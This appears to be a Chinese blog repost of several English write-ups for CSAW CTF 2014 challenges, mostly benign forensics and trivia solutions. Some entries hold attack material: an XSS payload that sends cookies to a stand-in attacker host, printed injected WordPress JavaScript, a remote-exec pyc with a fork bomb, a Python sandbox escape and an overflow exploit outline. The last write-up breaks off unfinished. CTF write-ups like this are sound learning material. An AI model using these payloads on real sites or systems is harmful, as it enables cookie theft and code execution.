您的位置:首页 > 其它

CSAW CTF2014 write-up

2014-09-28 15:59 1796 查看

前几天做了CSAW CTF,感觉自己弱爆了,各种题都不大会做,于是就上网上找大牛们的writeup,希望对读者能有所帮助。

题目的题解不全,有些题没有找到writeup,只能坐等那些大牛们了。

Big Data

Open
the provided
pcap.pcapng
file in Wireshark. Go to Edit →Find Packet →
String → Search in packet bytes, and enter
password
.





This reveals an exchange over the
telnet
protocol where a server asks for a password. The next packets each contain a single character of the password, sent from the client to the server. To quickly view them all, right-click on the first packet
and click Follow TCP Stream.





This reveals the following:

Linux 3.13.0-32-generic (ubuntu) (pts/0)

..ubuntu login: j.ju.ul.li.ia.an.n
.
..Password: flag{bigdataisaproblemnotasolution}
.
.
Login incorrect
..ubuntu login:

The flag is
bigdataisaproblemnotasolution








CSAW CTF 2014: dumpster diving

Category: ForensicsPoints: 100Description:

dumpsters are cool, but cores are cooler

Written by marc

firefox.mem.zip

Write-up

$ file firefox.mem.zip
firefox.mem.zip: Zip archive data, at least v2.0 to extract

$ unzip firefox.mem.zip
Archive:  firefox.mem.zip
inflating: firefox.mem

$ file firefox.mem
firefox.mem: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from '/usr/lib/firefox/firefox'

$ strings firefox.mem | grep 'flag{'
ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}


The flag is
cd69b4957f06cd818d7bf3d61980e291
(which, by the way, happens to be the MD5 hash of the string
memory
).





CSAW CTF 2014: eggshells

Category: Reverse EngineeringPoints: 100Description:

I trust people on the internet all the time, do you?

Written by ColdHeat

eggshells-master.zip

Write-up

Let’s unzip
the provided zip file:

$ unzip eggshells-master.zip


This creates a directory
eggshells-master
that contains a bunch of Python files. One compiled Python file,
utils.pyc
, stands out. Let’s decompile it using
uncompyle2
:

$ uncompyle2 utils.pyc
# 2014.09.22 10:53:48 CEST
#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
+++ okay decompyling utils.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2014.09.22 10:53:48 CEST


That URL looks interesting.

$ curl 'http://kchung.co/lol.py'
import os
while True:
try:
os.fork()
except:
os.system('start')
# flag{trust_is_risky}


The flag is
trust_is_risky
.

CSAW CTF 2014: Fluffy No More

Category: ForensicsPoints: 300Description:

OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner. Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive
foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??

Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of its database and configuration. Figure out what is going on!

Written by brad_anton

CSAW2014-FluffyNoMore-v0.1.tar.bz2

Write-up

As its extension suggests,
the provided
CSAW2014-FluffyNoMore-v0.1.tar.bz2
file is a bzip2-compressed tarball:

$ file CSAW2014-FluffyNoMore-v0.1.tar.bz2
CSAW2014-FluffyNoMore-v0.1.tar.bz2: bzip2 compressed data, block size = 900k


Let’s extract it:

$ tar xjfv CSAW2014-FluffyNoMore-v0.1.tar.bz2
x CSAW2014-FluffyNoMore-v0.1/
x CSAW2014-FluffyNoMore-v0.1/etc_directory.tar.bz2
x CSAW2014-FluffyNoMore-v0.1/logs.tar.bz2
x CSAW2014-FluffyNoMore-v0.1/mysql_backup.sql.bz2
x CSAW2014-FluffyNoMore-v0.1/webroot.tar.bz2


Oh, it contains more tarballs! Let’s extract those as well:

$ cd CSAW2014-FluffyNoMore-v0.1

$ for file in *.tar.bz2; do mkdir -p "${file}-extracted"; tar --directory "${file}-extracted" -xjf "${file}"; done


Viewing
logs.tar.bz2-extracted/var/log/auth.log
reveals an interesting entry:

Sep 17 19:20:09 ubuntu sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js

Someone with root access to the server edited the web-exposed
/wp-content/themes/twentythirteen/js/html5.js
file. Reviewing the file’s contents (
webroot.tar.bz2-extracted/var/www/html/wp-content/themes/twentythirteen/js/html5.js
),
it’s clear that some malicious JavaScript code was inserted.

var g="ti";var c="HTML Tags";var f=". li colgroup br src datalist script option .";f = f.split(" ");c="";k="/";m=f[6];for(var i=0;i<f.length;i++){c+=f[i].length.toString();}v=f[0];x="\'ht";b=f[4];f=2541*6-35+46+12-15269;c+=f.toString();f=(56+31+68*65+41-548)/4000-1;c+=f.toString();f="";c=c.split("");var w=0;u="s";for(var i=0;i<c.length;i++){if(((i==3||i==6)&&w!=2)||((i==8)&&w==2)){f+=String.fromCharCode(46);w++;}f+=c[i];} i=k+"anal"; document.write("<"+m+" "+b+"="+x+"tp:"+k+k+f+i+"y"+g+"c"+u+v+"j"+u+"\'>\</"+m+"\>");


The above script is equivalent to the following:

document.write("<script src='http://128.238.66.100/analytics.js'><\/script>");


Let’s download
the
analytics.js
file so we can take a look at it:

$ wget http://128.238.66.100/analytics.js


The file consists of minified code, most of which is legitimate. A small part of it stands out because it’s obfuscated, though:

var _0x91fe=["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66","\x5F\x73\x65\x6C\x66","\x6F\x70\x65\x6E"];window[_0x91fe[2]](_0x91fe[0],_0x91fe[1]);


This
is equivalent to:

var _0x91fe=["http://128.238.66.100/announcement.pdf","_self","open"];
window[_0x91fe[2]](_0x91fe[0],_0x91fe[1]);


…which is equivalent to:

window.open('http://128.238.66.100/announcement.pdf', '_self');


Let’s download
that
announcement.pdf
file:

$ wget http://128.238.66.100/announcement.pdf


Opening the PDF file in
PDF Stream Dumper reveals some hidden JavaScript code:





var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];


This
is equivalent to:

var _0xee0b=["YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb  :) key{Those Fluffy Bunnies Make Tummy Bumpy}"];
var y=_0xee0b[0];


The flag is
Those Fluffy Bunnies Make Tummy Bumpy






CSAW CTF 2014: Fuzyll

Category: ReconPoints: 100Description:

Unbeknownst to many, Fuzyll is actually the next Dendi. Like most of Reddit, he just needs better teammates first. He's not ranked yet, but his MMR would definitely be at least 10000. I mean, have you seen him play?

Written by fuzyll

Write-up

One possible solution is:

Go to dotabuff.com.
Search for ‘fuzyll’ and click ‘matches’ which takes you to http://www.dotabuff.com/players/80484382/matches. Click the seventh match (at the time of CSAW CTF) where it says “Won Match”.
The URL is http://www.dotabuff.com/matches/903461176, so the match ID is
903461176
.
Go to dotabank.com
Enter the match ID
903461176
, which takes you to http://dotabank.com/replays/903461176/. Get the replay and get the flag.







CSAW CTF 2014: geohot pls

Category: TriviaPoints: 10Description:

This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges.

Write-up

The answer is
livectf
.







CSAW CTF 2014: hashes

Category: WebPoints: 300Description:

location, location, location

Chal is very very stable. If you were scanning the site while I was doing dev work your requests are probably being dropped.

http://54.86.199.163:7878/

Written by ColdHeat

Write-up

The linked page uses an old version of the jQuery library (v1.6.1),
which enables an XSS vulnerability when e.g.
$('#' + userContent)
is called (CVE-2011-4969). The page also contains this script:

$(window).bind( 'hashchange', function(e) {
$('.image').hide()
tag = window.location.hash
$(tag).show()
});
tag = window.location.hash
$(tag).show()


This makes it possible to inject arbitrary JavaScript simply by changing the hash in the URL. For example,
#<img src=/ onerror=alert(1)>
displays an alert box.

The page also features a form that can be used to submit image URLs that will then be visited by a bot. Assuming the bot has special admin privileges on this website, and possibly an interesting cookie, let’s try submitting this URL:

http://54.86.199.163:7878/#<img src=/ onerror=location='https://your-site.example.com/log?c='+document.cookie>

This redirects the bot to a page under our control, passing along the cookie value. The
log
script is a simple server-side script written in your language of choice that simply writes the
c
URL parameter value to a file, or stores
it in a database.

A few moments after submitting the above URL, the bot indeed visits our page, and the logger script logs the cookie:

win="flag{these_browser_bots_are_annoying}"

The flag is
these_browser_bots_are_annoying
.



CSAW CTF 2014: Kevin Chung

Category: ReconPoints: 100Description:

Find a picture of me that's from before I was a high school student. Submit the URL to the file on the internet

If you find an alternative to the file I'm thinking of, PM it to me on IRC and I'll consider it but use this site to check if it's right first :)

Written by ColdHeat

Write-up

One possible solution was http://www.siths.org/album/48915/23451.jpg (taken from
the 2007-Freshman Orientation album).

CSAW CTF 2014: Obscurity

Category: ForensicsPoints: 200Description:

see or do not see

Written by marc

pdf.pdf

Write-up

The provided PDF file contains some hidden text.

One way to get to it is by opening the PDF in your viewer of choice, selecting all of its contents (using
Ctrl
+
A
or
+
A
), copying it, and then pasting it into your text editor of choice.

Another possible solution is to use the
pdftotext
command-line utility:

$ pdftotext pdf.pdf

$ strings pdf.txt
flag{security_through_obscurity}


The flag is
security_through_obscurity
.

CSAW CTF 2014: pybabbies

Category: ExploitationPoints: 200Description:

so secure it hurts

nc 54.165.210.171 12345


Written by ColdHeat

pyshell.py

Write-up

The provided Python script is a Python sandbox that disallows the use of the following commands:

banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]


One possible solution is the following:

print(().__class__.__bases__[0].__subclasses__()[40]('./key').read())


This prints the contents of the
key
file:

flag{definitely_not_intro_python}

The flag is
definitely_not_intro_python


CSAW CTF 2014: Shameless plug

Category: TriviaPoints: 10Description:

This is the name of the new USENIX workshop that featured papers on CTFs being used for education.

Write-up

Googling for “new USENIX workshop for education” gives
3GSE'14
.

The flag is
3GSE
.

CSAW CTF 2014: We don’t know either

Category: TriviaPoints: 10Description:

On this day in November, the CSAW Career Fair takes place in Brooklyn, New York.

Write-up

The expected solution was
14
. See https://csaw.isis.poly.edu/careerfair and http://www.eventbrite.com/e/csaw-registration-tickets-12262823435.

CSAW CTF 2014: weissman

Category: Reverse EngineeringPoints: 300Description:

Extract the key!

Written by RyanWithZombies

Update: The key is not
flag{ don't trust the Cheshire cat!! he works for the Queen of Hearts }
. Sorry about that. It's an artifact from an easier version of this challenge. You need to extract
key.jpg
.

HINT:

CSAWLZ is a completely custom format! You won't find decompressing tools on the internet. We made it just for you. :)

typedef struct _hdr {
uint8_t magic[8];
uint32_t version;
uint32_t num_files;
} hdr;

typedef struct _entry {
uint32_t magic;
uint32_t compressed_size;
uint32_t uncompressed_size;
uint8_t filename[32];
} entry;


weissman.csawlz

Write-up

Here is a
Java-based solution to this challenge.

During the CTF, it seems that most (probably all) of the people who solved it, didn’t completely decompress the files contained within the archive, but were able to get the important file (
key.jpg
) readable enough simply by filling the space
required with zeros, as described in the link below.

After the CTF was complete, I asked to author (RyanWithZombies) if he was going to do a write-up, but he said he wasn’t and linked me to the C++ source he used to compress the archive (https://gist.github.com/withzombies/909b403852ea1e31f553).
I was able to port the decompressing and hashing code to Java and incorporate it into the code I wrote during the CTF. Our team didn’t actually get the key in time (oh well) but I was interested enough to keep poking at this until I got it to work.

Roughly, the process of extracting a single file is this:

first, create a hashmap to store uncompressed data blocks
read the first byte from the input, which is a control byte

Then in a loop, do this:

control_byte >> 1
to extract the size of the current data block
control_byte & 0b00000001) != 0b00000001
to determine if the block is
compressed
or not (if the statement evaluates to
true
, the block is compressed)

If the block is not
compressed
:

read
size
number of bytes from the
input
and store them in a
buffer
.
create a
hash
of the first 4 bytes in the buffer
store the buffered bytes in the
hashmap
using the
hash
as the key
write the
buffer
to
output

read the next
control_byte
if it exists and restart the loop

If the block is compressed:

read two bytes from the
input
; these bytes are the
hash

using the
hash
as the key, get the bytes stored in the
hashmap

read
size
number of bytes from the bytes you just retrieved from the hashmap into a
buffer

write the bytes in the
buffer
to the
output

read the next
control_byte
if it exists and restart the loop

When you find that the next
control_byte
doesn’t exist, you are done and can write the
output
to disk.

As stated, this is a very rough outline of what is actually going on — check out the
CSAWlz.java
file for a better
understanding of exactly what happens during decompressing.

Thanks to RyanWithZombies for an interesting challenge!

CSAW CTF 2014: why not sftp?

Category: ForensicsPoints: 200Description:

well seriously, why not?

Written by marc

traffic-5.pcap

Write-up

Open
the provided
traffic-5.pcap
file in Wireshark.

There are various ways to look for interesting packets:

Go to Statistics → Conversations and look for interesting traffic patterns. Or, alternatively…

Go to Edit → Find Packet → String → Search in packet bytes, and enter
flag
. Or, alternatively…

The challenge name hints at FTP usage, so let’s filter the packet captures over the FTP-DATA protocol by typing
ftp-data
into the filter box. Click the capture labeled number
413
.

Right-click the capture and select Follow TCP Stream. Notice how the first few bytes match the file header for ZIP files (
PK\x03\x04
).

To extract this ZIP file from the PCAP file, click the
Save As
button at the bottom, and save it somewhere as a
*.zip
file. Unzip the file however you want and open the
flag.png
inside. It displays:

flag{91e02cd2b8621d0c05197f645668c5c4}

The flag is
91e02cd2b8621d0c05197f645668c5c4
(which, by the way, happens to be the MD5 hash of the string
network
).

CSAW CTF 2014: xorcise

Category: ExploitationPoints: 500Description:

nc 128.238.66.227 24001


Written by raid

xorcisexorcise.c

Write-up

This is a somewhat detailed write-up by Xor0X from team
HacknamStyle.

Length checking vulnerabilities:
Part One

By inspecting
the source code we see the binary is a service which listens on port 24001. New clients are handled in
int process_connection(int sockfd)
. This function reads one single packet, which is expected to be in the following format:

struct cipher_data {
/** Header: Unencrypted and unauthenticated */
uint8_t length; /** Length of the bytes array */
uint8_t key[8];
/** Payload: Encrypted and (partly) authenticated */
uint8_t bytes[128];
};

As the comments indicate, the header is sent unencrypted. In particular this header includes an 8-byte key (which is chosen by the client). Roughly speaking the
bytes
array is XORed with the key in blocks of 8 bytes. The function doing this decryption
is
decipher(data, output)
, which will be investigated in more detail later on (because it contains a vulnerability). The
length
field the header contains the actual size of the
bytes
array. This must be smaller or equal to 128. An attempt is made to assure the given length is valid:

cipher_data encrypted;
ssize_t bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0);
if (encrypted.length > bytes_read)
return -1;

However this check is flawed. Variable
bytes_read
is the length of the packet including the header
, while the program will treat the
length
field as the size of the
bytes
array. This means that as an attacker we can force the length to be bigger than 128.

The second vulnerability is in
decipher(data, output)
. This function decrypts the
bytes
array using the key. Somewhat simplified we have the following code:

uint32_t decipher(cipher_data *data, uint8_t *output)
{
uint8_t buf[MAX_BLOCKS * BLOCK_SIZE];
uint32_t loop, block_index;

memcpy(buf, data->bytes, sizeof(buf));

if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
data->length = BLOCK_SIZE * MAX_BLOCKS;

// Block-decryption loop
for (loop = 0; loop < data->length; loop += 8)
for (block_index = 0; block_index < 8; ++block_index)
buf[loop+block_index] ^= (0x8F ^ data->key[block_index]);

memcpy(output, buf, sizeof(buf));
}

Note that
data->bytes
is copied to a local buffer, and this local buffer is then processed. The first if-test is an attempt to assure that
data->length
is not bigger than the local buffer. However this checked is flawed because in
(data->length
/ BLOCK_SIZE)
the intermediate result will be rounded down
. In particular, the following value will pass the length check:

data->length = BLOCK_SIZE * MAX_BLOCKS + (BLOCK_SIZE - 1) = 135

And due to the first length check vulnerability, we know that
data->length
can indeed contain such values. The consequence of both vulnerabilities means that we can force the block-decryption loop todecrypt an extra block of 8-bytes.
Since the local buffer is too small for this, we are capable of modifying local variables placed after the buffer. In particular we can overwrite
loop
and
block_index
.

Length checking vulnerabilities:
Part Two?

Interestingly,
decipher(data, output)
is the only function that uses the
length
field in the header. All other functions are coded in such a way that knowing this length is not required. This causes another peculiar observation:
when setting
length
to zero, no decryption takes place, and the packet is processed as-is. This observation is not required to solve the challenge though (but it does make it easier to construct packets).

Authentication and Commands

The above two vulnerabilities
are sufficient to exploit the challenge. However we had some problems doing this, and instead opted for another approach. Our approach relies on additional functionality of the challenge: letting it execute commands. We can execute three commands: (1) getting
the current server time; (2) reading an arbitrary file; (3) executing a system command. The latter two commands required the packet to be authenticated. The client must provide a checksum equal to
H(H(password||key) || H(data||password))
for the
packet to be authenticated. Here
password
is a secret loaded at startup, and
key
and
data
are chosen by the client. The function
H()
seems to be a custom (and insecure?) hash function.

Exploitation

We use both length-check vulnerabilities to read the secret
password
. Once we have this, we can execute arbitrary system commands on the server, and exploitation becomes trivial.

In the
decipher(data, output)
function we overwrite the return address. This is done by first overwriting the local variable
loop
, such that the next xor-decrypt operation will point to the return address. We prevent other variables
from being overwritten by XORing with zero. Recall that we can XOR 8 bytes in total, and in particular we XOR these bytes with the
key
in the header of the packet.

Where will we point the return address to? First observe that, because of the last
mempcy
call, the
eax
register contains a pointer to the local buffer when returning from the function. Hence the content pointed to by
eax
is under our control. If we now exploit the binary for interesting gadgets, we spot the following:

.text:08049290                 mov     eax, [ebp+packet]
.text:08049293                 add     eax, 8
.text:08049296                 sub     esp, 8
.text:08049299                 push    eax             ; filename
.text:0804929A                 push    [ebp+fd]        ; fd
.text:0804929D                 call    read_file

This is the code that calls
read_file(sockfd, name)
. When returning from
decipher
the
ebp
register is restored, hence it correctly points to the local variables. However, variable
packet
is not yet initialized by the program, hence we can't use it. Instead we redirect code to
push eax; push [ebp+fd]
. Since
eax
points to the beginning of the buffer this code will successfully be executed. Putting the string
password.txt
in the start of the buffer will now make the service print out the passwordpass123. We can now send
authenticated commands and execute arbitrary shell commands. The flag was in the file
flag.txt
in the same directory as
password.txt
(i.e. the current working directory).

Remark: the problem we encountered when directly calling
system(cmd)
was that it would overwrite the local buffer used in
decipher
(since it was saved on the stack). Recall that the pointer to this buffer was stored in
eax
.
Luckily, in the
read_file
function, the stack is used in such a way so this didn't occur.





CSAW CTF 2014: Julian Cohen

Category: ReconPoints: 100Description:

Figure out how to get Julian to go on a date with you.

HINT: Julian uses OkCupid

Written by HockeyInJune

Write-up

The intended solution was to find
this OkCupid profile, which displays the flag
julian_will_not_date_you_sorry
.

During the CTF, a troll
set up another OkCupid profile that was much easier to find whose ‘self-summary’ is as follows:

flag{flowers_and_wine_will_get_me}


The CTF organisers counter-trolled by accepting that flag (
flowers_and_wine_will_get_me
) as well.







2014 quals – wololo (rev300)

For this task we are provided with an
iOS ARM listing, our goal is to craft a database file that will be accepted by the server.

First we start crafting the header of the file, and for this the hint that was released later in the competition was really useful:

typedef struct
{
uint32_t magic;
uint32_t version;
uint16_t num_cols;
uint16_t num_rows;
} header_t;

Let's look at the asm code, we can realize that var_18 contains our
input file.

So we need a magic byte, and we can find the check for it here:

__text:00000B20 MOV R0, #0x4F4C4F57

__text:00000B28 LDR R1, [SP,#0x2C+var_18]

__text:00000B2A LDR R1, [R1]

__text:00000B2C CMP R1, R0

Thus "574F4C4F"="WOLO" needs to be at the beginning of our file (remember we are in a little endian architecture). Now let's look for the version number:

__text:00000B3A LDR R0, [SP,#0x2C+var_18]

__text:00000B3C LDR R0, [R0,#4]

__text:00000B3E CMP R0, #1

At offset #4 we need to put a 1 (0100 0000 because we are in a little endian world :P).

Then the code checks for the number of rows at offset #0xA and later for the number of cols at offset #8. Note that the number of rows needs to be between 4 and 0x1000 because of the following check:

__text:00000B4C LDR R0, [SP,#0x2C+var_18]

__text:00000B4E LDRH R0, [R0,#0xA]

__text:00000B50 CMP R0, #4

[...]

__text:00000B5E LDR R0, [SP,#0x2C+var_18]

__text:00000B60 LDRH R0, [R0,#0xA]

__text:00000B62 CMP.W R0, #0x1000

While the number of cols needs to be between 4 and 0x10:

__text:00000B72 LDR R0, [SP,#0x2C+var_18]

__text:00000B74 LDRH R0, [R0,#8]

__text:00000B76 CMP R0, #4

[...]

__text:00000B84 LDR R0, [SP,#0x2C+var_18]

__text:00000B86 LDRH R0, [R0,#8]

__text:00000B88 CMP R0, #0x10

Later we can see that the code calculates the length of the column definition which is 0x11 bytes * n_cols and checks each column type with the function "_col_size". We know that a col_t is 17 bytes from the hint:

typedef struct
{
uint8_t type;
char name[16];
} col_t;

__text:00000B98 LDRH R0, [R0,#8]

__text:00000B9A MOVS R1, #0x11

__text:00000BA0 MULS R0, R1

A similar check is done for rows.

So what we need to do now is to write the column definition, followed by the actual content of each row. As we know the structure of col_t this is an easyjob, however
we need to know which columns and with which content are expected by the "_check_login" function.

We can go through it and find out that these are the needed information to
save in the db:

USERNAME: captainfalcon

PASSWORD: fc03329505475dd4be51627cc7f0b1f1

ADMIN: probably we want this set to 1

ISAWESOME: also this should probably set to 1

We can also know the type of each column from the code:

USERNAME: __text:00000D16 CMP R0, #5 -> 5 means 16 bytes string

PASSWORD: __text:00000D7A CMP R0, #6 -> 6 means 32 bytes string

ADMIN: __text:00000DDE CMP R0, #0 -> 0 means 8 bit integer

ISAWESOME: __text:00000E34 CMP R0, #0 -> 0 means 8 bit integer

Now we just need to sum everything up. Let's start with the column definition

"\x05" + "USERNAME\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x06" + "PASSWORD\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00" + "ADMIN\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00" + "ISAWESOME\x00\x00\x00\x00\x00\x00\x00"

Then we just need to add the actual row data. Note that the format requires a minimum of 4 rows! So we can just replicate the row with our "captainfalcon" information for 4 times.

The final result is available
here. By sending the file with a python script provided by the organizers we get the flag:

flag{Small Group of Helpless Villages? Call in the Trebuchets.}

I really enjoyed this challenge, it allowed me to go back to some ARM assembly (and some Age of Empires atmosphere too)


Thanks to the CSAW organizers for this great CTF!







CSAW CTF 2014 – Exploitation 400 – saturn writeup

This
exploitation challenge is based on a Challenge-Response-Authentication-Protocol system.

The goal was to figure out a way to get challenges the responses without the challenge-response keygen algorithm.

Running the binary

Since we don’t have the challenge-response keygen algorithm (libchallengeresponse.so) we can create a decoy one.

Compile the C program aboce with GCC and put libchallengeresponse.so in /lib32/.

The vulnerability

The challenges are stored from 0x0804A0C0 to 0x0804A0DF, the responses are stored from0x0804A0E0 to
0x0804A0F.

If we send 0xA0 to the server we get the first challenge, if we send0xA2 we get the third challenge.

During a challenge request the lowest byte value is multiplied by 4. It represents the offset tostep to the next 32 bit value.

The vulnerability lies in the fact that we can manipulate the offset from
0x0
to 0xF in a challenge request.

The program expect the client to request challenge from 0xA00xA7.

If the client sends 0xA8 the query is valid and the
first response is sent back.

The exploit

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: